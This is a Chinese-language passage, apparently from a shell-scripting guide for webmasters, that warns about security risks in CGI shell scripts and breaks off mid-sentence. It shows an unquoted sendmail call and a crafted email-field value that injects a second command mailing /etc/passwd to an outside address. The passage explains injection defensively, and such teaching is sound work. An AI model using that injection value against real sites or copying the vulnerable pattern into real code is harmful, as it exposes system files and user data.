网站管理员的实用脚本技巧
1. 概述
Shell 脚本不仅能为构建与各种互联网网站协作的出色命令行工具提供良好环境，还能改变你自己网站的运行方式。它可以从简单的调试工具入手，进一步扩展到按需创建网页、自动整合上传到服务器的新图片的相册浏览器等功能。
不过，所有用于通用网关接口（CGI）脚本的 Shell 应用都有一个共同特点：你必须意识到并警惕可能存在的安全风险。对于毫无防备的网页开发者来说，最常见的攻击手段就是对脚本中可访问的命令行进行利用。
例如，在一个网页上有一个供用户填写的表单，其中一个字段是用户的电子邮件地址。在脚本中，你不仅会将用户信息存储在本地数据库中，还会向他们发送确认邮件：
( echo "Subject: Thanks for your signup" echo "To: $email ($name)" echo "" echo "Thanks for signing up. You'll hear from us shortly." echo "-- Dave and the team" ) | sendmail $email这看起来似乎无害，但如果用户输入的电子邮件地址不是<taylor@intuitive.com>，而是'sendmail d00d37@das-hak.de < /etc/passwd; echo taylor@intuitive.com'，会发生什么呢？这就不再是简单地向指定地址发送一封简短的邮件，而是会将你的
